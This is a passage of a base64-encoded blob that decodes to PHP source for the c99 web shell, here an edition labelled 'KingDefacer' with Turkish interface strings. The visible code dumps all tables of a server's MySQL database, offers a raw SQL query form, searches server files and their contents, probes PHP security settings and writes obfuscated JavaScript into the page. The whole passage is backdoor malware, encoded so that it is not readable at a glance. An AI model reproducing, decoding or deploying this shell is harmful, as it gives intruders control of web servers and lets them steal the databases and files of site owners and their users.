zX2FycmF5KCR0YWJzKSkgeyR0YWJzID0gYXJyYXkoKTt9DQogaWYgKGVtcHR5KCRhZGRfZHJvcCkpIHskYWRkX2Ryb3AgPSB0cnVlO30NCiBpZiAoc2l6ZW9mKCR0YWJzKSA9PSAwKQ0KIHsNCiAgLy8gcmV0cml2ZSB0YWJsZXMtbGlzdA0KICAkcmVzID0gbXlzcWxfcXVlcnkoIlNIT1cgVEFCTEVTIEZST00gIi4kZGIsICRzb2NrKTsNCiAgaWYgKG15c3FsX251bV9yb3dzKCRyZXMpID4gMCkge3doaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfcm93KCRyZXMpKSB7JHRhYnNbXSA9ICRyb3dbMF07fX0NCiB9DQogJG91dCA9ICIjIER1bXBlZCBieSBTcFlTaGVsbC5TUUwgIi4kc2h2ZXIuIg0KIyBBbmEgU2F5ZmE6IGh0dHA6Ly93d3cuc3B5aGFja2Vyei5jb20vDQojIEhvc3QgYXlhcmxhcmk6DQojIE15U1FMIHZlcnNpeW9uOiAoIi5teXNxbF9nZXRfc2VydmVyX2luZm8oKS4iKSBTdSBhbiBjYWxpc2FuICIuZ2V0ZW52KCJTRVJWRVJfQUREUiIpLiIgKCIuZ2V0ZW52KCJTRVJWRVJfTkFNRSIpLiIpIi4iDQojIFRhcmloOiAiLmRhdGUoImQubS5ZIEg6aTpzIikuIg0KIyBEQjogXCIiLiRkYi4iXCINCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiI7DQogJGMgPSBjb3VudCgkb25seXRhYnMpOw0KIGZvcmVhY2goJHRhYnMgYXMgJHRhYikNCiB7DQogIGlmICgoaW5fYXJyYXkoJHRhYiwkb25seXRhYnMpKSBvciAoISRjKSkNCiAgew0KICAgaWYgKCRhZGRfZHJvcCkgeyRvdXQgLj0gIkVrbGUgVGFibGUgLCBleGl0cyBgIi4kdGFiLiJgO1xuIjt9DQogICAvLyByZWNpZXZlIHF1ZXJ5IGZvciBPbHVzdHVyIHRhYmxlIHN0cnVjdHVyZQ0KICAgJHJlcyA9IG15c3FsX3F1ZXJ5KCJPbHVzYW4gdGFibG95dSBnb3N0ZXIgYCIuJHRhYi4iYCIsICRzb2NrKTsNCiAgIGlmICghJHJlcykgeyRyZXRbImVyciJdW10gPSBteXNxbF9zbWFydGVycm9yKCk7fQ0KICAgZWxzZQ0KICAgew0KICAgICRyb3cgPSBteXNxbF9mZXRjaF9yb3coJHJlcyk7DQogICAgJG91dCAuPSAkcm93WyIxIl0uIjtcblxuIjsNCiAgICAvLyByZWNpZXZlIHRhYmxlIHZhcmlhYmxlcw0KICAgICRyZXMgPSBteXNxbF9xdWVyeSgiU2VjICogRlJPTSBgJHRhYmAiLCAkc29jayk7DQogICAgaWYgKG15c3FsX251bV9yb3dzKCRyZXMpID4gMCkNCiAgICB7DQogICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXNzb2MoJHJlcykpDQogICAgIHsNCiAgICAgICRrZXlzID0gaW1wbG9kZSgiYCwgYCIsIGFycmF5X2tleXMoJHJvdykpOw0KICAgICAgJHZhbHVlcyA9IGFycmF5X3ZhbHVlcygkcm93KTsNCiAgICAgIGZvcmVhY2goJHZhbHVlcyBhcyAkaz0+JHYpIHskdmFsdWVzWyRrXSA9IGFkZHNsYXNoZXMoJHYpO30NCiAgICAgICR2YWx1ZXMgPSBpbXBsb2RlKCInLCAnIiwgJHZhbHVlcyk7DQogICAgICAkc3FsID0gIkljaW5lIFNvayBgJHRhYmAoYCIuJGtleXMuImApIFZBTFVFUyAoJyIuJHZhbHVlcy4iJyk7XG4iOw0KICAgICAgJG91dCAuPSAkc3FsOw0KICAgICB9DQogICAgfQ0KICAgfQ0KICB9DQogfQ0KICRvdXQgLj0gIiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cblxuIjsNCiBpZiAoJGZpbGUpDQogew0KICAkZnAgPSBmb3BlbigkZmlsZSwgInciKTsNCiAgaWYgKCEkZnApIHskcmV0WyJlcnIiXVtdID0gMjt9DQogIGVsc2UNCiAgew0KICAgZndyaXRlICgkZnAsICRvdXQpOw0KICAgZmNsb3NlICgkZnApOw0KICB9DQogfQ0KIGlmICgkcHJpbnQpIHtpZiAoJG5sMmJyKSB7ZWNobyBubDJicigkb3V0KTt9IGVsc2Uge2VjaG8gJG91dDt9fQ0KIHJldHVybiAkb3V0Ow0KfQ0KfQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoIm15c3FsX2J1aWxkd2hlcmUiKSkNCnsNCmZ1bmN0aW9uIG15c3FsX2J1aWxkd2hlcmUoJGFycmF5LCRzZXA9IiBhbmQiLCRmdW5jdHM9YXJyYXkoKSkNCnsNCiBpZiAoIWlzX2FycmF5KCRhcnJheSkpIHskYXJyYXkgPSBhcnJheSgpO30NCiAkcmVzdWx0ID0gIiI7DQogZm9yZWFjaCgkYXJyYXkgYXMgJGs9PiR2KQ0KIHsNCiAgJHZhbHVlID0gIiI7DQogIGlmICghZW1wdHkoJGZ1bmN0c1ska10pKSB7JHZhbHVlIC49ICRmdW5jdHNbJGtdLiIoIjt9DQogICR2YWx1ZSAuPSAiJyIuYWRkc2xhc2hlcygkdikuIiciOw0KICBpZiAoIWVtcHR5KCRmdW5jdHNbJGtdKSkgeyR2YWx1ZSAuPSAiKSI7fQ0KICAkcmVzdWx0IC49ICJgIi4kay4iYCA9ICIuJHZhbHVlLiRzZXA7DQogfQ0KICRyZXN1bHQgPSBzdWJzdHIoJHJlc3VsdCwwLHN0cmxlbigkcmVzdWx0KS1zdHJsZW4oJHNlcCkpOw0KIHJldHVybiAkcmVzdWx0Ow0KfQ0KfQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoIm15c3FsX2ZldGNoX2FsbCIpKQ0Kew0KZnVuY3Rpb24gbXlzcWxfZmV0Y2hfYWxsKCRxdWVyeSwkc29jaykNCnsNCiBpZiAoJHNvY2spIHskcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHF1ZXJ5LCRzb2NrKTt9DQogZWxzZSB7JHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCRxdWVyeSk7fQ0KICRhcnJheSA9IGFycmF5KCk7DQogd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KSkgeyRhcnJheVtdID0gJHJvdzt9DQogbXlzcWxfZnJlZV9yZXN1bHQoJHJlc3VsdCk7DQogcmV0dXJuICRhcnJheTsNCn0NCn0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJteXNxbF9zbWFydGVycm9yIikpDQp7DQpmdW5jdGlvbiBteXNxbF9zbWFydGVycm9yKCR0eXBlLCRzb2NrKQ0Kew0KIGlmICgkc29jaykgeyRlcnJvciA9IG15c3FsX2Vycm9yKCRzb2NrKTt9DQogZWxzZSB7JGVycm9yID0gbXlzcWxfZXJyb3IoKTt9DQogJGVycm9yID0gaHRtbHNwZWNpYWxjaGFycygkZXJyb3IpOw0KIHJldHVybiAkZXJyb3I7DQp9DQp9DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygibXlzcWxfcXVlcnlfZm9ybSIpKQ0Kew0KZnVuY3Rpb24gbXlzcWxfcXVlcnlfZm9ybSgpDQp7DQogZ2xvYmFsICRzdWJtaXQsJHNxbF9hY3QsJHNxbF9xdWVyeSwkc3FsX3F1ZXJ5X3Jlc3VsdCwkc3FsX2NvbmZpcm0sJHNxbF9xdWVyeV9lcnJvciwkdGJsX3N0cnVjdDsNCiBpZiAoKCRzdWJtaXQpIGFuZCAoISRzcWxfcXVlcnlfcmVzdWx0KSBhbmQgKCRzcWxfY29uZmlybSkpIHtpZiAoISRzcWxfcXVlcnlfZXJyb3IpIHskc3FsX3F1ZXJ5X2Vycm9yID0gIlF1ZXJ5IHdhcyBlbXB0eSI7fSBlY2hvICI8Yj5FcnJvcjo8L2I+IDxicj4iLiRzcWxfcXVlcnlfZXJyb3IuIjxicj4iO30NCiBpZiAoJHNxbF9xdWVyeV9yZXN1bHQgb3IgKCEkc3FsX2NvbmZpcm0pKSB7JHNxbF9hY3QgPSAkc3FsX2dvdG87fQ0KIGlmICgoISRzdWJtaXQpIG9yICgkc3FsX2FjdCkpDQogew0KICBlY2hvICI8dGFibGUgYm9yZGVyPTA+PHRyPjx0ZD48Zm9ybSBuYW1lPVwiYXNoc2hfc3FscXVlcnlcIiBtZXRob2Q9UE9TVD48Yj4iOyBpZiAoKCRzcWxfcXVlcnkpIGFuZCAoISRzdWJtaXQpKSB7ZWNobyAiR2VyY2VrZGVuIGVtaW5taXNpbiA/IDopIjt9IGVsc2Uge2VjaG8gIlNRTC1RdWVyeSI7fSBlY2hvICI6PC9iPjxicj48YnI+PHRleHRhcmVhIG5hbWU9c3FsX3F1ZXJ5IGNvbHM9MTAwIHJvd3M9MTA+Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcXVlcnkpLiI8L3RleHRhcmVhPjxicj48YnI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0IHZhbHVlPXNxbD48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1zcWxfYWN0IHZhbHVlPXF1ZXJ5PjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXNxbF90YmwgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF90YmwpLiJcIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1zdWJtaXQgdmFsdWU9XCIxXCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9XCJzcWxfZ290b1wiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZ290bykuIlwiPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXNxbF9jb25maXJtIHZhbHVlPVwiRXZldFwiPiZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1cIkhheWlyXCI+PC9mb3JtPjwvdGQ+IjsNCiAgaWYgKCR0Ymxfc3RydWN0KQ0KICB7DQogICBlY2hvICI8dGQgdmFsaWduPVwidG9wXCI+PGI+QWxhbmxhcjo8L2I+PGJyPiI7DQogICBmb3JlYWNoICgkdGJsX3N0cnVjdCBhcyAkZmllbGQpIHskbmFtZSA9ICRmaWVsZFsiRmllbGQiXTsgZWNobyAiPyA8YSBocmVmPVwiI1wiIG9uY2xpY2s9XCJkb2N1bWVudC5hc2hzaF9zcWxxdWVyeS5zcWxfcXVlcnkudmFsdWUrPSdgIi4kbmFtZS4iYCc7XCI+PGI+Ii4kbmFtZS4iPC9iPjwvYT48YnI+Ijt9DQogICBlY2hvICI8L3RkPjwvdHI+PC90YWJsZT4iOw0KICB9DQogfQ0KIGlmICgkc3FsX3F1ZXJ5X3Jlc3VsdCBvciAoISRzcWxfY29uZmlybSkpIHskc3FsX3F1ZXJ5ID0gJHNxbF9sYXN0X3F1ZXJ5O30NCn0NCn0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJteXNxbF9jcmVhdGVfZGIiKSkNCnsNCmZ1bmN0aW9uIG15c3FsX2NyZWF0ZV9kYigkZGIsJHNvY2s9IiIpDQp7DQogJHNxbCA9ICJEQVRBQkFTRSBPTFVTVFVSIGAiLmFkZHNsYXNoZXMoJGRiKS4iYDsiOw0KIGlmICgkc29jaykge3JldHVybiBteXNxbF9xdWVyeSgkc3FsLCRzb2NrKTt9DQogZWxzZSB7cmV0dXJuIG15c3FsX3F1ZXJ5KCRzcWwpO30NCn0NCn0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJteXNxbF9xdWVyeV9wYXJzZSIpKQ0Kew0KZnVuY3Rpb24gbXlzcWxfcXVlcnlfcGFyc2UoJHF1ZXJ5KQ0Kew0KICRxdWVyeSA9IHRyaW0oJHF1ZXJ5KTsNCiAkYXJyID0gZXhwbG9kZSAoIiAiLCRxdWVyeSk7DQogLyphcnJheSBhcnJheSgpDQogew0KICAiTUVUSE9EIj0+YXJyYXkob3V0cHV0X3R5cGUpLA0KICAiTUVUSE9EMSIuLi4NCiAgLi4uDQogfQ0KIGlmIG91dHB1dF90eXBlID09IDAsIG5vIG91dHB1dCwNCiBpZiBvdXRwdXRfdHlwZSA9PSAxLCBubyBvdXRwdXQgaWYgbm8gZXJyb3INCiBpZiBvdXRwdXRfdHlwZSA9PSAyLCBvdXRwdXQgd2l0aG91dCBjb250cm9sLWJ1dHRvbnMNCiBpZiBvdXRwdXRfdHlwZSA9PSAzLCBvdXRwdXQgd2l0aCBjb250cm9sLWJ1dHRvbnMNCiAqLw0KICR0eXBlcyA9IGFycmF5KA0KICAiU0VMRUNUIj0+YXJyYXkoMywxKSwNCiAgIlNIT1ciPT5hcnJheSgyLDEpLA0KICAiREVMRVRFIj0+YXJyYXkoMSksDQogICJEUk9QIj0+YXJyYXkoMSkNCiApOw0KICRyZXN1bHQgPSBhcnJheSgpOw0KICRvcCA9IHN0cnRvdXBwZXIoJGFyclswXSk7DQogaWYgKGlzX2FycmF5KCR0eXBlc1skb3BdKSkNCiB7DQogICRyZXN1bHRbInByb3BlcnRpb25zIl0gPSAkdHlwZXNbJG9wXTsNCiAgJHJlc3VsdFsicXVlcnkiXSAgPSAkcXVlcnk7DQogIGlmICgkdHlwZXNbJG9wXSA9PSAyKQ0KICB7DQogICBmb3JlYWNoKCRhcnIgYXMgJGs9PiR2KQ0KICAgew0KICAgIGlmIChzdHJ0b3VwcGVyKCR2KSA9PSAiTElNSVQiKQ0KICAgIHsNCiAgICAgJHJlc3VsdFsibGltaXQiXSA9ICRhcnJbJGsrMV07DQogICAgICRyZXN1bHRbImxpbWl0Il0gPSBleHBsb2RlKCIsIiwkcmVzdWx0WyJsaW1pdCJdKTsNCiAgICAgaWYgKGNvdW50KCRyZXN1bHRbImxpbWl0Il0pID09IDEpIHskcmVzdWx0WyJsaW1pdCJdID0gYXJyYXkoMCwkcmVzdWx0WyJsaW1pdCJdWzBdKTt9DQogICAgIHVuc2V0KCRhcnJbJGtdLCRhcnJbJGsrMV0pOw0KICAgIH0NCiAgIH0NCiAgfQ0KIH0NCiBlbHNlIHtyZXR1cm4gZmFsc2U7fQ0KfQ0KfQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoImFzaGZzZWFyY2giKSkNCnsNCmZ1bmN0aW9uIGFzaGZzZWFyY2goJGQpDQp7DQogZ2xvYmFsICRmb3VuZDsNCiBnbG9iYWwgJGZvdW5kX2Q7DQogZ2xvYmFsICRmb3VuZF9mOw0KIGdsb2JhbCAkc2VhcmNoX2lfZjsNCiBnbG9iYWwgJHNlYXJjaF9pX2Q7DQogZ2xvYmFsICRhOw0KIGlmIChzdWJzdHIoJGQsLTEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskZCAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30NCiAkaCA9IG9wZW5kaXIoJGQpOw0KIHdoaWxlICgoJGYgPSByZWFkZGlyKCRoKSkgIT09IGZhbHNlKQ0KIHsNCiAgaWYoJGYgIT0gIi4iICYmICRmICE9ICIuLiIpDQogIHsNCiAgICRib29sID0gKGVtcHR5KCRhWyJuYW1lX3JlZ2V4cCJdKSBhbmQgc3RycG9zKCRmLCRhWyJuYW1lIl0pICE9PSBmYWxzZSkgfHwgKCRhWyJuYW1lX3JlZ2V4cCJdIGFuZCBlcmVnKCRhWyJuYW1lIl0sJGYpKTsNCiAgIGlmIChpc19kaXIoJGQuJGYpKQ0KICAgew0KICAgICRzZWFyY2hfaV9kKys7DQogICAgaWYgKGVtcHR5KCRhWyJ0ZXh0Il0pIGFuZCAkYm9vbCkgeyRmb3VuZFtdID0gJGQuJGY7ICRmb3VuZF9kKys7fQ0KICAgIGlmICghaXNfbGluaygkZC4kZikpIHthc2hmc2VhcmNoKCRkLiRmKTt9DQogICB9DQogICBlbHNlDQogICB7DQogICAgJHNlYXJjaF9pX2YrKzsNCiAgICBpZiAoJGJvb2wpDQogICAgew0KICAgICBpZiAoIWVtcHR5KCRhWyJ0ZXh0Il0pKQ0KICAgICB7DQogICAgICAkciA9IEBmaWxlX2dldF9jb250ZW50cygkZC4kZik7DQogICAgICBpZiAoJGFbInRleHRfd3dvIl0pIHskYVsidGV4dCJdID0gIiAiLnRyaW0oJGFbInRleHQiXSkuIiAiO30NCiAgICAgIGlmICghJGFbInRleHRfY3MiXSkgeyRhWyJ0ZXh0Il0gPSBzdHJ0b2xvd2VyKCRhWyJ0ZXh0Il0pOyAkciA9IHN0cnRvbG93ZXIoJHIpO30NCiAgICAgIGlmICgkYVsidGV4dF9yZWdleHAiXSkgeyRib29sID0gZXJlZygkYVsidGV4dCJdLCRyKTt9DQogICAgICBlbHNlIHskYm9vbCA9IHN0cnBvcygiICIuJHIsJGFbInRleHQiXSwxKTt9DQogICAgICBpZiAoJGFbInRleHRfbm90Il0pIHskYm9vbCA9ICEkYm9vbDt9DQogICAgICBpZiAoJGJvb2wpIHskZm91bmRbXSA9ICRkLiRmOyAkZm91bmRfZisrO30NCiAgICAgfQ0KICAgICBlbHNlIHskZm91bmRbXSA9ICRkLiRmOyAkZm91bmRfZisrO30NCiAgICB9DQogICB9DQogIH0NCiB9DQogY2xvc2VkaXIoJGgpOw0KfQ0KfQ0KaWYgKCRhY3QgPT0gImdvZmlsZSIpIHtpZiAoaXNfZGlyKCRmKSkgeyRhY3QgPSAibHMiOyAkZCA9ICRmO30gZWxzZSB7JGFjdCA9ICJmIjsgJGQgPSBkaXJuYW1lKCRmKTsgJGYgPSBiYXNlbmFtZSgkZik7fX0NCi8vU2VuZGluZyBoZWFkZXJzDQpAb2Jfc3RhcnQoKTsNCkBvYl9pbXBsaWNpdF9mbHVzaCgwKTsNCmZ1bmN0aW9uIG9ucGhwc2h1dGRvd24oKQ0Kew0KIGdsb2JhbCAkZ3ppcGVuY29kZSwkZnQ7DQogaWYgKCFoZWFkZXJzX3NlbnQoKSBhbmQgJGd6aXBlbmNvZGUgYW5kICFpbl9hcnJheSgkZnQsYXJyYXkoImltZyIsImRvd25sb2FkIiwibm90ZXBhZCIpKSkNCiB7DQogICR2ID0gQG9iX2dldF9jb250ZW50cygpOw0KICBAb2JfZW5kX2NsZWFuKCk7DQogIEBvYl9zdGFydCgib2JfZ3pIYW5kbGVyIik7DQogIGVjaG8gJHY7DQogIEBvYl9lbmRfZmx1c2goKTsNCiB9DQp9DQpmdW5jdGlvbiBhc2hzaGV4aXQoKQ0Kew0KIG9ucGhwc2h1dGRvd24oKTsNCiBleGl0Ow0KfQ0KaGVhZGVyKCJaYW1hbmk6IE1vbiwgMTIgTWF5IDIwMDUgMDM6MDA6MDAgR01UIik7DQpoZWFkZXIoIlNvbiBNb2RpZml5ZTogIi5nbWRhdGUoIkQsIGQgTSBZIEg6aTpzIikuIiBHTVQiKTsNCmhlYWRlcigiQ2FjaGUtQ29udHJvbDogbm8tc3RvcmUsIG5vLWNhY2hlLCBtdXN0LXJldmFsaWRhdGUiKTsNCmhlYWRlcigiQ2FjaGUtQ29udHJvbDogcG9zdC1jaGVjaz0wLCBwcmUtY2hlY2s9MCIsIGZhbHNlKTsNCmhlYWRlcigiUHJhdGlrOiBuby1jYWNoZSIpOw0KaWYgKGVtcHR5KCR0bXBkaXIpKQ0Kew0KICR0bXBkaXIgPSBpbmlfZ2V0KCJ1cGxvYWRfdG1wX2RpciIpOw0KIGlmIChpc19kaXIoJHRtcGRpcikpIHskdG1wZGlyID0gIi90bXAvIjt9DQp9DQokdG1wZGlyID0gcmVhbHBhdGgoJHRtcGRpcik7DQokdG1wZGlyID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLCR0bXBkaXIpOw0KaWYgKHN1YnN0cigkdG1wZGlyLC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JHRtcGRpciAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30NCmlmIChlbXB0eSgkdG1wZGlyX2xvZ3MpKSB7JHRtcGRpcl9sb2dzID0gJHRtcGRpcjt9DQplbHNlIHskdG1wZGlyX2xvZ3MgPSByZWFscGF0aCgkdG1wZGlyX2xvZ3MpO30NCmlmIChAaW5pX2dldCgic2FmZV9tb2RlIikgb3Igc3RydG9sb3dlcihAaW5pX2dldCgic2FmZV9tb2RlIikpID09ICJvbiIpDQp7DQogJHNhZmVtb2RlID0gdHJ1ZTsNCiAkaHNhZmVtb2RlID0gIjxmb250IGNvbG9yPXJlZD5BQ2lLIChHdXZlbmxpa2xpKSA6KCA8L2ZvbnQ+IjsNCn0NCmVsc2UgeyRzYWZlbW9kZSA9IGZhbHNlOyAkaHNhZmVtb2RlID0gIjxmb250IGNvbG9yPWdyZWVuPkthcGFsaSAoZ3V2ZW5saWsgeW9rKTwvZm9udD4iO30NCiR2ID0gQGluaV9nZXQoIm9wZW5fYmFzZWRpciIpOw0KaWYgKCR2IG9yIHN0cnRvbG93ZXIoJHYpID09ICJvbiIpIHskb3BlbmJhc2VkaXIgPSB0cnVlOyAkaG9wZW5iYXNlZGlyID0gIjxmb250IGNvbG9yPXJlZD4iLiR2LiI8L2ZvbnQ+Ijt9DQplbHNlIHskb3BlbmJhc2VkaXIgPSBmYWxzZTsgJGhvcGVuYmFzZWRpciA9ICI8Zm9udCBjb2xvcj1ncmVlbj5LYXBhbGkgKGd1dmVubGlrIHlvayk8L2ZvbnQ+Ijt9DQokc29ydCA9IGh0bWxzcGVjaWFsY2hhcnMoJHNvcnQpOw0KaWYgKGVtcHR5KCRzb3J0KSkgeyRzb3J0ID0gJHNvcnRfZGVmYXVsdDt9DQokc29ydFsxXSA9IHN0cnRvbG93ZXIoJHNvcnRbMV0pOw0KJERJU1BfU0VSVkVSX1NPRlRXQVJFID0gZ2V0ZW52KCJTRVJWRVJfU09GVFdBUkUiKTsNCmlmICghZXJlZygiUEhQLyIucGhwdmVyc2lvbigpLCRESVNQX1NFUlZFUl9TT0ZUV0FSRSkpIHskRElTUF9TRVJWRVJfU09GVFdBUkUgLj0gIi4gUEhQLyIucGhwdmVyc2lvbigpO30NCiRESVNQX1NFUlZFUl9TT0ZUV0FSRSA9IHN0cl9yZXBsYWNlKCJQSFAvIi5waHB2ZXJzaW9uKCksIjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9cGhwaW5mb1wiIHRhcmdldD1cIl9ibGFua1wiPjxiPjx1PlBIUC8iLnBocHZlcnNpb24oKS4iPC91PjwvYj48L2E+IixodG1sc3BlY2lhbGNoYXJzKCRESVNQX1NFUlZFUl9TT0ZUV0FSRSkpOw0KQGluaV9zZXQoImhpZ2hsaWdodC5iZyIsJGhpZ2hsaWdodF9iZyk7IC8vRkZGRkZGDQpAaW5pX3NldCgiaGlnaGxpZ2h0LmNvbW1lbnQiLCRoaWdobGlnaHRfY29tbWVudCk7IC8vI0ZGODAwMA0KQGluaV9zZXQoImhpZ2hsaWdodC5kZWZhdWx0IiwkaGlnaGxpZ2h0X2RlZmF1bHQpOyAvLyMwMDAwQkINCkBpbmlfc2V0KCJoaWdobGlnaHQuaHRtbCIsJGhpZ2hsaWdodF9odG1sKTsgLy8jMDAwMDAwDQpAaW5pX3NldCgiaGlnaGxpZ2h0LmtleXdvcmQiLCRoaWdobGlnaHRfa2V5d29yZCk7IC8vIzAwNzcwMA0KQGluaV9zZXQoImhpZ2hsaWdodC5zdHJpbmciLCRoaWdobGlnaHRfc3RyaW5nKTsgLy8jREQwMDAwDQppZiAoIWlzX2FycmF5KCRhY3Rib3gpKSB7JGFjdGJveCA9IGFycmF5KCk7fQ0KJGRzcGFjdCA9ICRhY3QgPSBodG1sc3BlY2lhbGNoYXJzKCRhY3QpOw0KJGRpc3BfZnVsbHBhdGggPSAkbHNfYXJyID0gJG5vdGxzID0gbnVsbDsNCiR1ZCA9IHVybGVuY29kZSgkZCk7DQo/Pg0KPGh0bWw+PGhlYWQ+PG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9d2luZG93cy0xMjUxIj48bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LUxhbmd1YWdlIiBjb250ZW50PSJlbi11cyI+DQo8dGl0bGU+PD9waHAgZWNobyBnZXRlbnYoIkhUVFBfSE9TVCIpOyA/PiBjOTlzaGVsbCAtIEVkaXRlZCBCeSBLaW5nRGVmYWNlcjwvdGl0bGU+DQo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCIgbGFuZ3VhZ2U9ImphdmFzY3JpcHQiPg0KPCEtLQ0KTUw9IlA8PnBoVHNtdHIvOTpDdWsgUkljPWpTdy5vIjsNCk1JPSIxRj1BQjA1QEZBPUQ0ODgzPDo6R0dHSEM7OzM0M0hDSTc6OD45P0hFNjIxOkY9QUIwNTIiOw0KT1Q9IiI7DQpmb3Ioaj0wO2o8TUkubGVuZ3RoO2orKyl7DQpPVCs9TUwuY2hhckF0KE1JLmNoYXJDb2RlQXQoaiktNDgpOw0KfWRvY3VtZW50LndyaXRlKE9UKTsNCi8vIC0tPjwvc2NyaXB0Pg0KPFNUWUxFPlREIHsgRk9OVC1TSVpFOiA4cHQ7IENPTE9SOiAjZWJlYmViOyBGT05ULUZBTUlMWTogdmVyZGFuYTt9Qk9EWSB7IHNjcm9sbGJhci1mYWNlLWNvbG9yOiAjODAwMDAwOyBzY3JvbGxiYXItc2hhZG93LWNvbG9yOiAjMTAxMDEwOyBzY3JvbGxiYXItaGlnaGxpZ2h0LWNvbG9yOiAjMTAxMDEwOyBzY3JvbGxiYXItM2RsaWdodC1jb2xvcjogIzEwMTAxMDsgc2Nyb2xsYmFyLWRhcmtzaGFkb3ctY29sb3I6ICMxMDEwMTA7IHNjcm9sbGJhci10cmFjay1jb2xvcjogIzEwMTAxMDsgc2Nyb2xsYmFyLWFycm93LWNvbG9yOiAjMTAxMDEwOyBmb250LWZhbWlseTogVmVyZGFuYTt9VEQuaGVhZGVyIHsgRk9OVC1XRUlHSFQ6IG5vcm1hbDsgRk9OVC1TSVpFOiAxMHB0OyBCQUNLR1JPVU5EOiAjN2Q3NDc0OyBDT0xPUjogd2hpdGU7IEZPTlQtRkFNSUxZOiB2ZXJkYW5hO31BIHsgRk9OVC1XRUlHSFQ6IG5vcm1hbDsgQ09MT1I6ICNkYWRhZGE7IEZPTlQtRkFNSUxZOiB2ZXJkYW5hOyBURVhULURFQ09SQVRJT046IG5vbmU7fUE6dW5rbm93biB7IEZPTlQtV0VJR0hUOiBub3JtYWw7IENPTE9SOiAjZmZmZmZmOyBGT05ULUZBTUlMWTogdmVyZGFuYTsgVEVYVC1ERUNPUkFUSU9OOiBub25lO31BLkxpbmtzIHsgQ09MT1I6ICNmZmZmZmY7IFRFWFQtREVDT1JBVElPTjogbm9uZTt9QS5MaW5rczp1bmtub3duIHsgRk9OVC1XRUlHSFQ6IG5vcm1hbDsgQ09MT1I6ICNmZmZmZmY7IFRFWFQtREVDT1JBVElPTjogbm9uZTt9QTpob3ZlciB7IENPTE9SOiAjZmZmZmZmOyBURVhULURFQ09SQVRJT046IHVuZGVybGluZTt9LnNraW4we3Bvc2l0aW9uOmFic29sdXRlOyB3aWR0aDoyMDBweDsgYm9yZGVyOjJweCBzb2xpZCBibGFjazsgYmFja2dyb3VuZC1jb2xvcjptZW51OyBmb250LWZhbWlseTpWZXJkYW5hOyBsaW5lLWhlaWdodDoyMHB4OyBjdXJzb3I6ZGVmYXVsdDsgdmlzaWJpbGl0eTpoaWRkZW47O30uc2tpbjF7Y3Vyc29yOiBkZWZhdWx0OyBmb250OiBtZW51dGV4dDsgcG9zaXRpb246IGFic29sdXRlOyB3aWR0aDogMTQ1cHg7IGJhY2tncm91bmQtY29sb3I6IG1lbnU7IGJvcmRlcjogMSBzb2xpZCBidXR0b25mYWNlO3Zpc2liaWxpdHk6aGlkZGVuOyBib3JkZXI6IDIgb3V0c2V0IGJ1dHRvbmhpZ2hsaWdodDsgZm9udC1mYW1pbHk6IFZlcmRhbmEsR2VuZXZhLCBBcmlhbDsgZm9udC1zaXplOiAxMHB4OyBjb2xvcjogYmxhY2s7fS5tZW51aXRlbXN7cGFkZGluZy1sZWZ0OjE1cHg7IHBhZGRpbmctcmlnaHQ6MTBweDs7fWlucHV0e2JhY2tncm91bmQtY29sb3I6ICM4MDAwMDA7IGZvbnQtc2l6ZTogOHB0OyBjb2xvcjogI0ZGRkZGRjsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxIHNvbGlkICM2NjY2NjY7fXRleHRhcmVhe2JhY2tncm91bmQtY29sb3I6ICM4MDAwMDA7IGZvbnQtc2l6ZTogOHB0OyBjb2xvcjogI0ZGRkZGRjsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxIHNvbGlkICM2NjY2NjY7fWJ1dHRvbntiYWNrZ3JvdW5kLWNvbG9yOiAjODAwMDAwOyBmb250LXNpemU6IDhwdDsgY29sb3I6ICNGRkZGRkY7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMSBzb2xpZCAjNjY2NjY2O31zZWxlY3R7YmFja2dyb3VuZC1jb2xvcjogIzgwMDAwMDsgZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjRkZGRkZGOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDEgc29saWQgIzY2NjY2Njt9b3B0aW9uIHtiYWNrZ3JvdW5kLWNvbG9yOiAjODAwMDAwOyBmb250LXNpemU6IDh